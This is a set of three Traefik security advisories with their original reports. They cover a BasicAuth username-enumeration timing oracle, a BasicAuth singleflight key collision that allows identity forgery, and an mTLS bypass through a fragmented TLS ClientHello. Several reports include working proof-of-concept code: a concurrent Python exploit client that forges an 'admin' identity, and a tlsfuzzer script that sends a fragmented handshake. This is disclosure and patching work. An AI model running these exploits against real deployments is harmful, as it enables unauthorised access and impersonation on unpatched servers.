Summary
Traefik's BasicAuth middleware coalesces concurrent credential checks through a singleflight.Group to avoid hashing the same password many times at once. Since v3.6.11 the deduplication key was built from the submitted password plus the stored secret, so it depended on server state: a non-existent username collapsed onto one shared key while each configured username produced its own. Under attacker-controlled concurrency, a probe request arriving inside a leader request's in-flight window is served the leader's fast coalesced result when the username does not exist, but computes its own hash (slow) when the username exists — reintroducing, only in the concurrent case, the unauthenticated username-enumeration timing oracle that GHSA-g3hg-j4jv-cwfr had hardened for sequential probing. The fix derives the singleflight key from the submitted credentials (username and password) only, so it no longer depends on whether the account exists or on any stored secret. Traefik v2 is not affected: the v2.11 BasicAuth middleware does not use singleflight coalescing, and Digest authentication is not affected. The impact is limited to username enumeration; no credential disclosure or authentication bypass is possible.
The vulnerability originates on the v3.6 line, which has reached end of life; users on v3.6 or earlier v3.x must upgrade to v3.7.13 to receive the fix.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.7.13
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Confirmed. checkPassword derives the singleflight key from the stored secret, so the key encodes whether the submitted username exists:
- username absent, secret == "", key = len(P) + ":" + P - username present, key = len(P) + ":" + P + secretT
Every non-existent username therefore lands on one shared key, while every configured username gets its own. singleflight.Group.Do makes a follower on an equal key block on the leader's in-flight computation and return the leader's result. So an attacker who sends a leader request with a junk username and password P, then sends the probe for target T with the same P late inside the leader's window, reads user existence directly off the probe's latency: coalesced (fast) means T does not exist, own hash (slow) means T does exist.
This is the exact information leak that the notFoundSecret dummy hash at line 127 exists to remove. Sequential probing is fully equalised (measured ratio 1.00x, so the fix for cwfr / 8j2h does work); the leak reappears only under attacker-controlled concurrency. Confirmed on the current v3.7 head, which already carries the 8mrf singleflight fix, and on master (no later fix exists).
Affected code
- pkg/middlewares/auth/basicauth.go:125 (checkPassword)
Code analysis
pkg/middlewares/auth/basicauth.go:119-131 matches the finding verbatim, including the cited line 125:
go func (b basicAuth) checkPassword(user, password string) bool { // :119 secret := b.auth.Secrets(user, b.auth.Realm) // "" when the user is absent
key := strconv.Itoa(len(password)) + ":" + password + secret // :124 match, , := b.singleflightGroup.Do(key, func() (any, error) { // :125 if secret == "" { = b.checkSecret(password, b.notFoundSecret) // :127 dummy hash, equal cost return false, nil } return b.checkSecret(password, secret), nil }) return match.(bool) }
Two independent properties combine:
1. The dummy hash equalises the cost of one lookup. notFoundSecret is a configured user's real hash (slices.Collect(maps.Values(users))[0]), so absent and present users each perform exactly one hash of the same algorithm and cost. That is why the sequential control below is flat. 2. The key partitions on existence, so coalescing is not equalised. The dummy hash was placed inside the closure (commit 122175ac2, PR #12803), which is what pulls absent users into Do at all. Before that refactor, secret == "" returned false before Do was ever called.
Git archaeology of the whole sequence in this one function:
| Commit | Date | Effect | |---|---|---| | 6f469ee1e | 2024-10-10 | Introduces singleflight to dedupe concurrent hashes (Only calculate basic auth hashes once for concurrent requests). Absent users returned false before Do. | | 122175ac2 (PR #12803) | 2026-03-17 | Fix for cwfr. Moves the empty-secret branch inside the closure, which makes the key existence-dependent for the first time. | | 8c4fc8957 | 2026-04-13 | Fix for 8j2h: notFoundSecret was resolving to "", so the dummy hash was a no-op. | | b5ace8eb5 (PR #13572) | 2026-07-28 | Fix for 8mrf: adds the len(password) + ":" prefix so distinct (password, secret) pairs cannot alias. Keeps the secret in the key and keeps the empty-secret branch inside the closure. |
J15 is the residue of that last fix. It does not depend on the key collision 8mrf closed: the oracle works precisely because the keys differ. The prior analysis of 8mrf recommended keeping "the empty-secret (unconfigured) path out of any key that a configured user can share"; the shipped patch only delimited the key, so the existence dependency survived.
Affected range: >= v3.6.11 (the 122175ac2 refactor) through current v3.7 head and master. Not the v2 line, and not earlier v3 releases, which returned early for absent users. Digest auth does not use singleflight and is unaffected.
Impact scope: username enumeration only. No credential disclosure, no authentication bypass, no result sharing across identities.
Reproduction
Go tests written directly in package auth, driving the real NewBasic handler over a real HTTP server (httptest), with real bcrypt / apr1 hashes and no instrumentation of the vulnerable logic. Files: pkg/middlewares/auth/zzscanpocJ15{,b,c}test.go, deleted after the run.
Commands
cd /Users/emile/go/src/github.com/traefik/traefik go test -count=1 -run TestZZScanPoCJ15 -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15Costs -v ./pkg/middlewares/auth/... go test -count=1 -run TestZZScanPoCJ15H2 -v ./pkg/middlewares/auth/...
Probe shape, exactly the claimed scenario: calibrate D with one request, launch a leader with a junk username and password P, sleep 0.9 D, then send the probe with password P and either a configured (alice) or an absent (bob) username, and time the probe. classify=OK means present > 2 absent, i.e. the oracle answered correctly.
Observed, main PoC (test 1)
[bcrypt-cost12] SEQUENTIAL control: absent=249.568275ms present=249.10215ms ratio=1.00x [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 0: absent=21.750833ms present=242.081792ms ratio=11.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 1: absent=20.197667ms present=245.234958ms ratio=12.1x classify=OK [bcrypt-cost12] CONCURRENT D=245.521625ms frac=0.90 round 2: absent=25.675958ms present=243.981375ms ratio=9.5x classify=OK [bcrypt-cost10] SEQUENTIAL control: absent=61.4374ms present=61.049608ms ratio=0.99x [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 0: absent=5.572875ms present=60.8345ms ratio=10.9x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 1: absent=4.042292ms present=61.988792ms ratio=15.3x classify=OK [bcrypt-cost10] CONCURRENT D=60.54675ms frac=0.90 round 2: absent=4.53825ms present=61.557791ms ratio=13.6x classify=OK [apr1-short-pw] SEQUENTIAL control: absent=360.7µs present=373.116µs ratio=1.03x [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 0: absent=378.167µs present=409.458µs ratio=1.1x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 1: absent=352.416µs present=333.875µs ratio=0.9x classify=FAIL [apr1-short-pw] CONCURRENT D=370.792µs frac=0.90 round 2: absent=374.209µs present=349.125µs ratio=0.9x classify=FAIL [apr1-8000B-pw] SEQUENTIAL control: absent=22.159325ms present=21.999433ms ratio=0.99x [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 0: absent=22.089458ms present=22.516708ms ratio=1.0x classify=FAIL [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 1: absent=698.042µs present=21.877ms ratio=31.3x classify=OK [apr1-8000B-pw] CONCURRENT D=22.457583ms frac=0.90 round 2: absent=1.570875ms present=21.945417ms ratio=14.0x classify=OK
The sequential control is the decisive part: 1.00x / 0.99x / 1.03x / 0.99x on every algorithm. The constant-time countermeasure is intact for one-request-at-a-time probing, so the 10x to 15x concurrent separation is attributable to the coalescing and to nothing else. That rules out the alternative explanation that this is just cwfr / 8j2h still unfixed.
Observed, per-algorithm hash cost (test 2)
bcrypt cost10 / short pw -> 60.5919ms per hash bcrypt cost12 / short pw -> 242.384558ms per hash apr1 / short pw -> 128.333µs per hash apr1 / 8000-byte pw -> 42.575816ms per hash
Observed, single HTTP/2 connection (test 3)
Both probes multiplexed as two streams over one TLS connection, which pins them to a single Traefik process even behind an L4 load balancer fronting several replicas:
h2 single-connection: D=63.048ms h2 round 0: absent=7.931459ms present=65.87375ms ratio=8.3x classify=OK h2 round 1: absent=4.255667ms present=64.193291ms ratio=15.1x classify=OK h2 round 2: absent=6.696417ms present=64.695208ms ratio=9.7x classify=OK
Conclusion: REPRODUCED, 9/9 correct classifications on bcrypt, single-shot, no statistics.
Claim-by-claim audit of the finding text:
(truncated ; full analysis in the linked internal report)
Documentation grounding
Not working-as-intended. The governing project document puts this class explicitly in scope.
- docs/content/security/ (header-underscores, request-path, content-length, http2-header-memory, multi-tenant-kubernetes) has no page covering BasicAuth, the timing posture or the singleflight dedup. Grep for timing|basicauth|basic auth|enumerat|singleflight across that directory: no match. No governing security doc, hence no WAI signal from there. - docs/content/contributing/security-decisions.md, section Authentication Middleware Correctness, is the settled public position and it is directly on point:
> Our position. In scope: credential or identity handling that leaks across requests or users, observable timing differences that disclose whether a principal exists, and credentials forwarded to a destination the operator did not authorise. > > Where the line is. Choosing a weak authentication mechanism, or configuring it permissively, is the operator's decision. The middleware failing to deliver what its documentation promises is ours.
(truncated ; full analysis in the linked internal report)
Precedent in comparable projects
Corpus refreshed 2026-08-24 for nginx, ingress-nginx, kong, caddy, apisix, nginx-plus; envoy (2026-06-29), envoy-gateway (2026-06-15), haproxy (2026-07-16) and istio (2026-05-12) are staler.
No exact analogue of a request-deduplication timing oracle. Adjacent prior art:
- Envoy, CVE-2026-47775, medium: "OAuth2 Filter: Padding Oracle via AES-256-CBC Cookie Decryption". A side-channel oracle inside an auth filter, published as a medium CVE. Framed on the observability of the discrepancy, not on the difficulty of measuring it. - Envoy Gateway, CVE-2026-53715 / GHSA-8fv2-88gg-hm7q, medium: "Wasm cache ServeHTTP reads mappingPath2Cache without lock". A concurrency defect in a shared per-process cache in the request path, treated as a real medium CVE and fixed by correcting the shared-state handling. - APISIX, CVE-2025-62232, high: basic-auth credential exposure. Same component, unrelated mechanism (logging).
Takeaway: the industry treats side-channel oracles in auth filters, and concurrency defects in shared per-process request-path caches, as genuine publishable CVEs of roughly this severity. Nothing in the corpus argues the class is by design. The strongest precedent, however, is not a competitor: it is Traefik's own two published CVEs on this exact guarantee.
Recommended fix
Assign for fix. No fix exists: gh search prs --repo traefik/traefik "singleflight" returns only PR #13572 (the merged 8mrf key-collision fix) and "basic auth timing" only PR #12803 / #12796; git log --all on the checkout shows b5ace8eb5 as the last change to pkg/middlewares/auth/ and master (174e5d811, a merge of v3.7) carries nothing later.
Fix shape: remove the secret from the key and qualify it by username. Something along the lines of
go key := strconv.Itoa(len(user)) + ":" + user + ":" + password
with the dummy-hash branch left inside the closure. This is strictly better than the current key on all four counts:
- It closes J15: the key no longer encodes existence, so two absent users no longer share a bucket that a present user is excluded from. Coalescing then happens only for an identical (user, password) pair, which leaks nothing an attacker did not already supply. - It closes 8mrf structurally rather than by delimiting: the stored hash never enters the key, so no choice of password can alias a configured user's key. The len prefix is still needed, now on user, to keep ("ab", "c") and ("a", "bc") apart. - It preserves the purpose of 6f469ee1e: the case that commit exists for is a burst of concurrent requests carrying the same credentials, which is exactly what a username-qualified key still dedupes. - It keeps the constant-time property: one hash of notFoundSecret for absent users, one hash of secret for present ones, unchanged.
Do not fix this by making the dummy branch share the leader's timing envelope; as the finding correctly notes, that only helps if the key stops depending on secret == "".
Secondary, low cost: restore the "Timing attacks" admonition that PR #12803 added to the BasicAuth page. It is the statement of the guarantee, it is the thing security-decisions.md holds the project to, and it is currently absent from the v3.7 docs tree.
If filed: new cluster slug basicauth-singleflight-existence-oracle, sibling of basicauth-singleflight-key-collision, affected range >= v3.6.11 through the current v3.6 / v3.7 heads, v2 unaffected, digest auth unaffected. Correct the 40x claim and the $apr1$ "trivial" claim in the published description per the audit table above.
Provenance
Found by an external automated code scan (CLAUDE-SECURITY-20260824-122205) of pkg/middlewares, pkg/proxy, pkg/server, pkg/muxer and pkg/tls on branch v3.7 at commit d5072ce7b8765c9574246072e05dd81d84950da7, then triaged with the advisory-check process : mechanism-level duplicate check against the existing advisory corpus, CVE-policy gate, security-documentation grounding, comparable-project precedent, and a mandatory reproduction attempt.
Triage outcome : Likely Valid, confidence High, reproduced (yes). Expected publication likelihood at triage time : High.
Scanner finding id : F16. Internal report : findings/scan-20260824/verdicts/J15.md in the security-advisor repository.
</details>
---
Summary
There is a low severity vulnerability in Traefik's BasicAuth middleware. Concurrent password verifications are deduplicated through a singleflight group whose key was the delimiter-free concatenation of the submitted password and the stored secret, so a request carrying an unconfigured username — whose secret is empty — can produce the same key as a configured user's valid request and receive that request's successful result. Exploitation requires the attacker to already hold a valid credential and to read the stored password hash, which is only reachable through paths that are themselves privileged: the API is documented as admin-only, the Kubernetes path requires read access to the Secret, and the Docker path requires access to the socket. The key now encodes the password length as a prefix, so distinct (password, secret) pairs can no longer collide. Only the v3.6 line from v3.6.11 onwards and the v3.7 line are affected; earlier v3 releases and the v2 line do not carry the vulnerable deduplication path.
Patches
- https://github.com/traefik/traefik/releases/tag/v3.6.25 - https://github.com/traefik/traefik/releases/tag/v3.7.10
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary
Traefik's BasicAuth middleware deduplicates concurrent password checks with a singleflight.Group. Its key is the delimiter-free concatenation password + secret. For an existing user with password P and stored hash H, the key is P || H. An unknown user can select the password P || H; because its secret is the empty string, its key is also P || H.
If the existing user's request starts the shared calculation, the unknown user receives the existing user's successful Boolean result. Traefik then continues processing the unknown user's original request and propagates the attacker-selected username through URL.User, the access log, and the configured BasicAuth headerField.
A user who knows one valid username/password/hash tuple can therefore authenticate concurrently under any unconfigured username. This becomes a privilege escalation when a backend uses the BasicAuth headerField as a trusted identity, which is the documented purpose of that option.
Details
The vulnerable logic is in pkg/middlewares/auth/basicauth.go:118-131:
go func (b basicAuth) checkPassword(user, password string) bool { secret := b.auth.Secrets(user, b.auth.Realm)
key := password + secret match, , := b.singleflightGroup.Do(key, func() (any, error) { if secret == "" { = b.checkSecret(password, b.notFoundSecret) return false, nil }
return b.checkSecret(password, secret), nil })
return match.(bool) }
For a configured user viewer:
text password = P secret = H key = P || H result = true
For an unconfigured user admin:
text password = P || H secret = "" key = (P || H) || "" = P || H
singleflight.Group.Do shares the first in-flight result for equal keys. If the configured user's check is first, the unknown user's closure is not run and the unknown request receives true.
The authorization result is not bound to the username. After the shared result is accepted, ServeHTTP uses the username parsed from the unknown request:
go req.URL.User = url.User(user)
if b.headerField != "" { req.Header.Del(b.headerField) req.Header[b.headerField] = []string{user} }
Consequently, the backend sees the attacker-selected admin identity, not the valid request's viewer identity.
Attack prerequisites
The attacker needs:
1. network access to a route protected by the affected BasicAuth middleware; 2. one valid low-privilege username and password; 3. the corresponding stored password hash.
The hash is often present in deployment labels or routing configuration. Traefik's API is also a direct source when the attacker can access it: GET /api/http/middlewares/{id} serializes basicAuth.users, including the hash, despite the field carrying loggable:"false". The official v3.7.8 binary returned the hash in the validation environment.
The attacker does not need another user's password or a victim-generated request. The attacker creates both concurrent requests: one with their valid credentials and one with an arbitrary, unconfigured target username.
Security impact
When headerField is configured, an authenticated low-privilege user can impersonate an arbitrary identity to the backend. Depending on downstream authorization, this can allow:
- access to administrative data; - execution of privileged state-changing operations; - corruption of audit attribution; - bypass of identity-based tenant or role separation.
Without headerField, the unknown request is still admitted through the BasicAuth middleware. The practical consequence then depends on whether the protected route treats all authenticated users equally.
Proof of Concept
Validation environment
- Official Traefik v3.7.8 Linux amd64 release. - Build timestamp: 2026-07-15T12:42:25Z. - Go version in the release: go1.26.5. - Archive SHA-256: dbd809b1de85d86d0718c80bedbaabd9aebaa3c6697f9e986ab5f387f4196cb7. - The checksum matched the official traefikv3.7.8checksums.txt release asset. - No Traefik source files were modified.
Dynamic configuration
The bcrypt hash below is for password test and uses cost 12:
yaml http: routers: app: entryPoints: - web rule: PathPrefix(/) middlewares: - auth service: backend
middlewares: auth: basicAuth: headerField: X-WebAuth-User removeHeader: true users: - 'viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'
services: backend: loadBalancer: servers: - url: http://127.0.0.1:19090
Save it as dynamic.yml. Use this install configuration as static.yml:
yaml global: checkNewVersion: false sendAnonymousUsage: false
api: insecure: true
entryPoints: web: address: 127.0.0.1:18080
providers: file: filename: /absolute/path/to/dynamic.yml watch: false
The API is enabled only to demonstrate that the runtime representation exposes the configured hash. It is not needed if the tester already knows the hash from the configuration.
Use this backend as backend.py; it responds with the identity Traefik puts in the trusted header:
python from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer
class Handler(BaseHTTPRequestHandler): def doGET(self): body = (self.headers.get("X-WebAuth-User", "") + "\n").encode() self.sendresponse(200) self.sendheader("Content-Length", str(len(body))) self.endheaders() self.wfile.write(body)
def logmessage(self, args): pass
ThreadingHTTPServer(("127.0.0.1", 19090), Handler).serveforever()
Start the backend and Traefik in separate shells.
Shell 1:
bash python3 backend.py
Shell 2:
bash ./traefik --configFile=/absolute/path/to/static.yml
Exploit client
python import base64 import http.client import json import threading import time import urllib.request
HOST = "127.0.0.1" PORT = 18080 PASSWORD = "test" HASH = "$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u."
def request(user, password): conn = http.client.HTTPConnection(HOST, PORT, timeout=5) token = base64.b64encode(f"{user}:{password}".encode()).decode() conn.request("GET", "/", headers={"Authorization": f"Basic {token}"}) response = conn.getresponse() body = response.read().decode().strip() status = response.status conn.close() return status, body
middleware = json.load( urllib.request.urlopen( "http://127.0.0.1:8080/api/http/middlewares/auth%40file" ) ) print("apiusers", middleware["basicAuth"]["users"]) print("validbaseline", request("viewer", PASSWORD)) print("attackerbaseline", request("admin", PASSWORD + HASH))
wins = 0 for in range(25): validresult = {} valid = threading.Thread( target=lambda: validresult.setdefault( "result", request("viewer", PASSWORD) ) ) valid.start() time.sleep(0.005) attack = request("admin", PASSWORD + HASH) valid.join() if attack == (200, "admin"): wins += 1
print("forgedadminsuccesses", wins, "of", 25)
Observed output
text apiusers ['viewer:$2a$12$BSbSwtaD8dT5gywEsNtWKeZ2caIi.o6HxuKuWVx7/WNBH1YoRZ8u.'] validbaseline (200, 'viewer') attackerbaseline (401, '401 Unauthorized') forgedadminsuccesses 25 of 25
The negative control proves that admin is not configured and cannot authenticate alone. During the collision, all 25 requests were admitted and the backend received the forged identity admin.
The same behavior was first reproduced with Apache MD5. Its much shorter hash calculation window yielded 2 successful identity forgeries in 100 attempts. Using normal production-strength bcrypt made the race deterministic in this environment because the expensive comparison remains in flight long enough for the second request to join it.
Impact
An attacker with read access to a configured password hash and the ability to send concurrent requests can authenticate as an unconfigured username. When headerField is enabled, the attacker-selected username is forwarded to the backend as a trusted authenticated identity, enabling privilege impersonation, unauthorized data access, unauthorized actions, and incorrect security audit attribution. Without headerField, the request still bypasses BasicAuth and reaches the protected service.
</details>
---
Summary
There is a potential vulnerability in Traefik's TLS SNI pre-sniffing logic related to fragmented ClientHello packets.
When a TLS ClientHello is fragmented across multiple records, Traefik's SNI extraction may fail with an EOF and return an empty SNI. The TCP router then falls back to the default TLS configuration, which does not require client certificates by default. This allows an attacker to bypass route-level mTLS enforcement and access services that should require mutual TLS authentication.
Patches
- https://github.com/traefik/traefik/releases/tag/v2.11.41 - https://github.com/traefik/traefik/releases/tag/v3.6.11 - https://github.com/traefik/traefik/releases/tag/v3.7.0-ea.2
For more information
If you have any questions or comments about this advisory, please open an issue.
<details> <summary>Original Description</summary>
Summary I found a behavior in Traefik's latest version where fragmented ClientHello packets can cause pre-sniff SNI extraction to not find the sni (EOF during sniff), which makes the TCP router fall back to default routing TLS config.
If the default TLS config does not require client certificates (which is NoClientCert by default), the handshake succeeds without client auth, and the request is later routed to the HTTP Host which should be the protected with client certificate authentication (RequireAndVerifyClientCert tls config).
Details The vulnerability is caused by a mismatch between where Traefik decides the TLS policy per host and where Go TLS can finally parse the full ClientHello.
1. In router.go, ServeTCP function calls clientHelloInfo. 2. clientHelloInfo peeks only one TLS record length (recLen) and then peeks exactly 5 + recLen bytes. It runs a temporary TLS parse on those bytes to extract the SNI. If ClientHello is fragmented, pre-sniff may return empty SNI (With fragmentation, first record can be incomplete for full ClientHello parsing). 4. clientHelloInfo still returns isTLS=true and empty SNI (it thinks there is no sni so it applies the default tls config (Which is by default NoClientCert which is permissive) 5. Real Go TLS handshake succeeds later without requiring the client cert. 6. Request is routed to the host that should have been protected.
Conditions required for impact: - Route-level TLS options enforce mTLS for a host. - Default TLS config is weaker (noClientCert, which is the default default). - Pre-sniff fails to extract SNI (due to fragmented ClientHello).
A workaround for this is to set the default tls config to RequireAndVerifyClientCert (but then you need to explicitly define for each permissive host the NoClientCert TLS config).
A suggestion to fix is to parse the complete ClientHello before tls config decision (handle multi-record fragmentation).
PoC python prerequisites (ubuntu/debian, in rhel/fedora you need to run only the install command (dnf) but with "docker" instead of docker.io and podman will emulate it) sudo apt update sudo apt install -y docker.io openssl git python3 python3-venv sudo usermod -aG docker "$USER" in debian/ubuntu run newgrp docker to apply the new group to the user
mkdir -p /tmp/traefik-frag-poc/{certs,config/dynamic} cd /tmp/traefik-frag-poc
CA openssl genrsa -out certs/ca.key 4096 openssl req -x509 -new -nodes -key certs/ca.key -sha256 -days 3650 \ -subj "/CN=PoC-CA" -out certs/ca.crt
Server cert (whoami.home.arpa) cat > certs/server.cnf <<'EOFSERVERCNF' [req] distinguishedname = dn reqextensions = v3req prompt = no
[dn] CN = whoami.home.arpa
[v3req] subjectAltName = @altnames
[altnames] DNS.1 = whoami.home.arpa EOFSERVERCNF
openssl genrsa -out certs/traefik.key 2048 openssl req -new -key certs/traefik.key -out certs/traefik.csr -config certs/server.cnf openssl x509 -req -in certs/traefik.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/traefik.crt -days 365 -sha256 -extensions v3req -extfile certs/server.cnf
Client cert (valid client) openssl genrsa -out certs/client.key 2048 openssl req -new -key certs/client.key -subj "/CN=client1" -out certs/client.csr openssl x509 -req -in certs/client.csr -CA certs/ca.crt -CAkey certs/ca.key -CAcreateserial \ -out certs/client.crt -days 365 -sha256
cat > config/traefik.yml <<'EOFTRAEFIKCFG' entryPoints: websecure: address: ":8443"
providers: file: directory: /etc/traefik/dynamic watch: true
log: level: DEBUG EOFTRAEFIKCFG
cat > config/dynamic/dynamic.yml <<'EOFDYNAMICCFG' http: routers: whoami: rule: "Host(whoami.home.arpa)" entryPoints: - websecure service: whoami tls: options: mtls
services: whoami: loadBalancer: servers: - url: "http://whoami:80"
tls: certificates: - certFile: /certs/traefik.crt keyFile: /certs/traefik.key
options: mtls: clientAuth: caFiles: - /certs/ca.crt clientAuthType: RequireAndVerifyClientCert EOFDYNAMICCFG
docker network create traefik-poc
run a whoami microservice for the bypass demonstration docker run -d \ --name whoami \ --network traefik-poc \ --restart unless-stopped \ traefik/whoami:v1.11.0
docker run -d \ --name traefik \ --network traefik-poc \ -p 8443:8443 \ --restart unless-stopped \ -v "$PWD/config/traefik.yml:/etc/traefik/traefik.yml:ro,Z" \ -v "$PWD/config/dynamic:/etc/traefik/dynamic:ro,Z" \ -v "$PWD/certs:/certs:ro,Z" \ traefik:3.6.10 \ --configFile=/etc/traefik/traefik.yml
watch traefik logs to ensure everything was deployed correctly docker logs traefik
tlsfuzzer setup + frag client script
mkdir -p /tmp/testtlsfuzz cd /tmp/testtlsfuzz git clone https://github.com/tlsfuzzer/tlsfuzzer.git cd tlsfuzzer
python3 -m venv .venv source .venv/bin/activate pip install -r requirements.txt
cat > fragclienthello.py <<'EOFFRAGSCRIPT' import argparse import sys import os
from tlsfuzzer.runner import Runner from tlsfuzzer.messages import ( Connect, SetMaxRecordSize, ClientHelloGenerator, CertificateGenerator, CertificateVerifyGenerator, ClientKeyExchangeGenerator, ChangeCipherSpecGenerator, FinishedGenerator, ApplicationDataGenerator, AlertGenerator, ) from tlsfuzzer.expect import ( ExpectServerHello, ExpectCertificate, ExpectServerKeyExchange, ExpectCertificateRequest, ExpectServerHelloDone, ExpectChangeCipherSpec, ExpectFinished, ExpectApplicationData, ExpectAlert, ExpectClose, ) from tlsfuzzer.helpers import SIGALL from tlslite.constants import ( CipherSuite, ExtensionType, AlertLevel, AlertDescription, GroupName, ) from tlslite.extensions import ( SNIExtension, TLSExtension, SupportedGroupsExtension, SignatureAlgorithmsExtension, SignatureAlgorithmsCertExtension, ) from tlslite.utils.keyfactory import parsePEMKey from tlslite.x509 import X509 from tlslite.x509certchain import X509CertChain
class PrettyExpectApplicationData(ExpectApplicationData): def process(self, state, msg): super().process(state, msg) text = msg.write().decode("utf-8", errors="replace") head, , body = text.partition("\r\n\r\n") print("\n=== HTTP RESPONSE ===") print(head) print() print(body) print("=== END HTTP RESPONSE ===\n")
def loadclientcertandkey(certpath, keypath): cert = None key = None
if certpath: textcert = open(certpath, "rb").read() if sys.versioninfo[0] >= 3: textcert = str(textcert, "utf-8") cert = X509() cert.parse(textcert)
if keypath: textkey = open(keypath, "rb").read() if sys.versioninfo[0] >= 3: textkey = str(textkey, "utf-8") key = parsePEMKey(textkey, private=True)
return cert, key
def main(): p = argparse.ArgumentParser() p.addargument("--connect-host", default="127.0.0.1") p.addargument("--port", type=int, default=8443) p.addargument("--sni", default="whoami.home.arpa") p.addargument("--record-size", type=int, default=512) p.addargument("--padding-len", type=int, default=1200) p.addargument("--expect-cert-request", action="storetrue") p.addargument("--client-cert-pem", default="") p.addargument("--client-key-pem", default="") args = p.parseargs()
cert, key = loadclientcertandkey(args.clientcertpem, args.clientkeypem)
print(f"[DBG] certarg={args.clientcertpem!r} keyarg={args.clientkeypem!r}") for p in [args.clientcertpem, args.clientkeypem]: if p: print(f"[DBG] file={p} exists={os.path.exists(p)} size={os.path.getsize(p) if os.path.exists(p) else -1}")
print(f"[DBG] certloaded={cert is not None} keyloaded={key is not None}") print(f"[DBG] bool(cert)={bool(cert) if cert is not None else None} bool(key)={bool(key) if key is not None else None}")
if (args.clientcertpem or args.clientkeypem) and not (cert and key): raise ValueError("Provide both --client-cert-pem and --client-key-pem")
conv = Connect(args.connecthost, args.port) node = conv node = node.addchild(SetMaxRecordSize(args.recordsize))
ext = { ExtensionType.servername: SNIExtension().create(bytearray(args.sni, "ascii")), ExtensionType.supportedgroups: SupportedGroupsExtension().create( [GroupName.secp256r1, GroupName.ffdhe2048] ), ExtensionType.signaturealgorithms: SignatureAlgorithmsExtension().create(SIGALL), ExtensionType.signaturealgorithmscert: SignatureAlgorithmsCertExtension().create(SIGALL), 21: TLSExtension().create(21, bytearray(args.paddinglen)), }
ciphers = [ CipherSuite.TLSECDHERSAWITHAES128GCMSHA256, CipherSuite.TLSECDHERSAWITHAES128CBCSHA, CipherSuite.TLSDHERSAWITHAES128CBCSHA, CipherSuite.TLSEMPTYRENEGOTIATIONINFOSCSV, ]
node = node.addchild(ClientHelloGenerator(ciphers, extensions=ext)) node = node.addchild(ExpectServerHello()) node = node.addchild(ExpectCertificate()) node = node.addchild(ExpectServerKeyExchange())
if args.expectcertrequest: node = node.addchild(ExpectCertificateRequest())
node = node.addchild(ExpectServerHelloDone())
if args.expectcertrequest and cert and key: node = node.addchild(CertificateGenerator(X509CertChain([cert]))) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(CertificateVerifyGenerator(key)) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
elif args.expectcertrequest and not (cert and key): node = node.addchild(CertificateGenerator()) node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished())
else: node = node.addchild(ClientKeyExchangeGenerator()) node = node.addchild(ChangeCipherSpecGenerator()) node = node.addchild(FinishedGenerator()) node = node.addchild(ExpectChangeCipherSpec()) node = node.addchild(ExpectFinished()) req = bytearray( f"GET / HTTP/1.1\r\nHost: {args.sni}\r\nConnection: close\r\n\r\n".encode("ascii") ) node = node.addchild(ApplicationDataGenerator(req)) node = node.addchild(PrettyExpectApplicationData(output=sys.stdout)) node = node.addchild(AlertGenerator(AlertLevel.warning, AlertDescription.closenotify)) node = node.addchild(ExpectAlert()) node.nextsibling = ExpectClose()
try: Runner(conv).run() print("[OK] conversation completed") except AssertionError as e: print(f"[TLS RAW ERROR] {e}") marker = "Unexpected message from peer: " s = str(e) if marker in s: print(f"[TLS PEER MESSAGE] {s.split(marker, 1)[1].strip()}") raise
if name == "main": main() EOFFRAGSCRIPT
chmod +x fragclienthello.py cd /tmp/testtlsfuzz/tlsfuzzer source .venv/bin/activate
case 1: non fragmented, no client cert (strict mTLS path, should fail. traefik logs should inform that client didn't provide a certificate) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request
case 1b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient \ -connect 127.0.0.1:8443 \ -servername whoami.home.arpa \ -tls12 \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt \ -state -msg -tlsextdebug -verifyreturnerror
case 2: non fragmented, with valid client cert (should succeed) python fragclienthello.py \ --connect-host 127.0.0.1 \ --port 8443 \ --sni whoami.home.arpa \ --record-size 16384 \ --expect-cert-request \ --client-cert-pem /tmp/traefik-frag-poc/certs/client.crt \ --client-key-pem /tmp/traefik-frag-poc/certs/client.key
case 2b with openssl instead of my script printf 'GET / HTTP/1.1\r\nHost: whoami.home.arpa\r\nConnection: close\r\n\r\n' | \ openssl sclient -connect 127.0.0.1:8443 -servername whoami.home.arpa -tls12 \ -cert /tmp/traefik-frag-poc/certs/client.crt \ -key /tmp/traefik-frag-poc/certs/client.key \ -CAfile /tmp/traefik-frag-poc/certs/ca.crt -quiet
